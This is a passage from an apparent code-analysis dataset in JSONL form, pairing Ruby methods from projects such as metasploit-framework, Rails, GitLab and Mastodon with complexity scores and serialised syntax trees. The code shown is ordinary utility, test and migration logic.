\":[\"info\"]},\"session_payload_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"IPMI\"]},\"PAYLOAD_RMCPPLUSOPEN_REP\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}","id":"6d48a74f-a47d-48b8-868f-a86da71e3176"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/server.rb","start_line":43,"raw_source":"def self.hardcore_alias(*args, **kwargs)\n    gss_alias = ''\n    if (gss_provider = kwargs[:gss_provider])\n      gss_alias << \"#{gss_provider.class}(\"\n      attrs = {}\n      if gss_provider.is_a?(RubySMB::Gss::Provider::NTLM)\n        allows = []\n        allows << 'ANONYMOUS' if gss_provider.allow_anonymous\n        allows << 'GUESTS' if gss_provider.allow_guests\n        attrs['allow'] = allows.join('|') unless allows.empty?\n        attrs['default_domain'] = gss_provider.default_domain if gss_provider.respond_to?(:default_domain) && gss_provider.default_domain.present?\n        attrs['ntlm_status'] = gss_provider.ntlm_type3_status.name if gss_provider.respond_to?(:ntlm_type3_status) && gss_provider.ntlm_type3_status.present?\n      end\n      gss_alias << attrs.map { |k,v| \"#{k}=#{v}\"}.join(', ')\n      gss_alias << ')'\n    end\n    \"#{(args[0] || '')}-#{(args[1] || '')}-#{args[3] || ''}-#{gss_alias}\"\n  end","complexity_score":62.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hardcore_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gss_alias\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gss_provider\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gss_provider\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_alias\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"(\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Gss\"]},\"Provider\"]},\"NTLM\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"allow_anonymous\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allows\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ANONYMOUS\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"allow_guests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allows\"]},\"<<\",{\"type\":\"str\",\"children\":[\"GUESTS\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allows\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"allow\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allows\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"default_domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"default_domain\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"default_domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"default_domain\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ntlm_type3_status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"ntlm_type3_status\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ntlm_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_provider\"]},\"ntlm_type3_status\"]},\"name\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_alias\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_alias\"]},\"<<\",{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gss_alias\"]}]}]}]}]}","id":"8b57d5c1-1eaa-4773-90d0-a24939f771a8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20221206114142_backfill_admin_action_logs_again.rb","start_line":171,"raw_source":"def process_logs_for_announcement\n    AdminActionLog.includes(:announcement).where(target_type: 'Announcement', human_identifier: nil).find_each do |log|\n      next if log.announcement.nil?\n\n      log.update_attribute('human_identifier', log.announcement.text)\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_logs_for_announcement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminActionLog\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"announcement\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Announcement\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"human_identifier\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"announcement\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"update_attribute\",{\"type\":\"str\",\"children\":[\"human_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"announcement\"]},\"text\"]}]}]}]}]}","id":"7fe46e79-0bb9-407a-b522-fa517007fc49"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/profiler_test.rb","start_line":203,"raw_source":"def test_profiling_marks_children_of_if_blocks\n    t = Template.parse(\"{% if true %} {% increment test %} {{ test }} {% endif %}\", profile: true)\n    t.render!\n\n    assert_equal(1, t.profiler.length)\n    assert_equal(2, t.profiler[0].children.length)\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_profiling_marks_children_of_if_blocks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{% if true %} {% increment test %} {{ test }} {% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"children\"]},\"length\"]}]}]}]}","id":"2c64c6f3-e286-4115-8141-c40795172e3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/gitlab_schema_info.rb","start_line":40,"raw_source":"def allow_cross_foreign_keys?(table_schemas, all_tables)\n        allowed_for?(allow_cross_foreign_keys, table_schemas, all_tables)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_cross_foreign_keys?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_schemas\"]},{\"type\":\"arg\",\"children\":[\"all_tables\"]}]},{\"type\":\"send\",\"children\":[null,\"allowed_for?\",{\"type\":\"send\",\"children\":[null,\"allow_cross_foreign_keys\"]},{\"type\":\"lvar\",\"children\":[\"table_schemas\"]},{\"type\":\"lvar\",\"children\":[\"all_tables\"]}]}]}","id":"9772d1a1-7be0-46d2-9e16-f75031f04710"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/memory_profile.rb","start_line":17,"raw_source":"def initialize\n    @allocated = []\n    @retained  = []\n    @headings  = []\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allocated\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@retained\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@headings\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"1e62bec7-79ce-461e-adc8-02e50c754cb7"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/watsonx_ai/client.rb","start_line":107,"raw_source":"def run_model(connection_config, payload)\n        get_access_token(connection_config[:api_key])\n        url = format(\n          connection_config[:model_type] == \"Machine learning model\" ? WATSONX_PREDICTION_DEPLOYMENT_URL : WATSONX_GENERATION_DEPLOYMENT_URL,\n          region: connection_config[:region],\n          deployment_id: connection_config[:deployment_id],\n          version: API_VERSION\n        )\n        response = send_request(\n          url: url,\n          http_method: HTTP_POST,\n          payload: JSON.parse(payload),\n          headers: auth_headers(@access_token),\n          config: connection_config[:config]\n        )\n        process_response(response)\n      rescue StandardError => e\n        handle_exception(e, { context: \"WATSONX AI:RUN_MODEL:EXCEPTION\", type: \"error\" })\n      end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_access_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"model_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Machine learning model\"]}]},{\"type\":\"const\",\"children\":[null,\"WATSONX_PREDICTION_DEPLOYMENT_URL\"]},{\"type\":\"const\",\"children\":[null,\"WATSONX_GENERATION_DEPLOYMENT_URL\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"region\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deployment_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[null,\"API_VERSION\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_method\"]},{\"type\":\"const\",\"children\":[null,\"HTTP_POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"auth_headers\",{\"type\":\"ivar\",\"children\":[\"@access_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"WATSONX AI:RUN_MODEL:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"5bbcf53c-bd64-4451-b5e3-077350144b07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":462,"raw_source":"def add_issuable_stylesheet\n    add_page_specific_style('page_bundles/issuable')\n    add_page_specific_style('page_bundles/notes_shared')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_issuable_stylesheet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_page_specific_style\",{\"type\":\"str\",\"children\":[\"page_bundles/issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"add_page_specific_style\",{\"type\":\"str\",\"children\":[\"page_bundles/notes_shared\"]}]}]}]}","id":"84d0da48-8643-47d2-b532-74f77fc99817"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":297,"raw_source":"def test_has_many_with_hash_conditions\n    assert_equal categories(:general), authors(:david).categories_like_general.first\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_with_hash_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"general\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"categories_like_general\"]},\"first\"]}]}]}","id":"f7fbb499-0a73-47f7-97ff-2a457e481221"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/members/base_contract.rb","start_line":57,"raw_source":"def roles_grantable\n      unmarked_roles = model.member_roles.reject(&:marked_for_destruction?).map(&:role)\n\n      errors.add(:roles, :ungrantable) unless unmarked_roles.all? { |r| role_grantable?(r) }\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"roles_grantable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unmarked_roles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"member_roles\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"marked_for_destruction?\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unmarked_roles\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"role_grantable?\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"sym\",\"children\":[\"ungrantable\"]}]}]}]}]}","id":"5b95b1cd-0673-4921-9642-826fabffc424"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":524,"raw_source":"def with_structure_dump_flags(flags)\n        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags\n        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags\n        yield\n      ensure\n        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_structure_dump_flags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flags\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags=\",{\"type\":\"lvar\",\"children\":[\"flags\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags=\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}","id":"047eb8ee-73cf-4123-8000-4ce761060cb9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/issue_board/show.rb","start_line":71,"raw_source":"def boards_list_header_with_index(index)\n            wait_boards_list_finish_loading do\n              within_element_by_index('board-list', index) do\n                find_element('board-list-header')\n              end\n            end\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"boards_list_header_with_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_boards_list_finish_loading\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element_by_index\",{\"type\":\"str\",\"children\":[\"board-list\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"board-list-header\"]}]}]}]}]}","id":"c1b86be0-c192-46ba-8274-e9c8ff0596d6"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/areas.rb","start_line":78,"raw_source":"def filter_existing_areas(areas)\n    return areas if areas.empty?\n\n    existing_areas_lookup = {}\n    user.areas.select(:name, :latitude, :longitude).each do |area|\n      key = [area.name, area.latitude.to_f, area.longitude.to_f]\n      existing_areas_lookup[key] = true\n    end\n\n    filtered_areas = areas.reject do |area|\n      key = [area[:name], area[:latitude].to_f, area[:longitude].to_f]\n      if existing_areas_lookup[key]\n        Rails.logger.debug \"Area already exists: #{area[:name]}\"\n        true\n      else\n        false\n      end\n    end\n\n    filtered_areas\n  end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_existing_areas\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"areas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"areas\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"areas\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"existing_areas_lookup\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"areas\"]},\"select\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"sym\",\"children\":[\"longitude\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"area\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"latitude\"]},\"to_f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"longitude\"]},\"to_f\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_areas_lookup\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_areas\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"areas\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"area\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"latitude\"]}]},\"to_f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"longitude\"]}]},\"to_f\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_areas_lookup\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Area already exists: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"area\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"filtered_areas\"]}]}]}","id":"55a13b91-b3f2-4e90-8979-d1c53f7c365a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner.rb","start_line":269,"raw_source":"def response(base_dir, ansible_runner_method, result, debug)\n        if async?(ansible_runner_method)\n          Ansible::Runner::ResponseAsync.new(\n            :base_dir     => base_dir,\n            :command_line => result.command_line,\n            :debug        => debug\n          )\n        else\n          Ansible::Runner::Response.new(\n            :base_dir     => base_dir,\n            :command_line => result.command_line,\n            :stdout       => result.output,\n            :stderr       => result.error,\n            :debug        => debug\n          )\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_dir\"]},{\"type\":\"arg\",\"children\":[\"ansible_runner_method\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"debug\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"async?\",{\"type\":\"lvar\",\"children\":[\"ansible_runner_method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ansible\"]},\"Runner\"]},\"ResponseAsync\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_dir\"]},{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"command_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"debug\"]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ansible\"]},\"Runner\"]},\"Response\"]},\"new\",{\"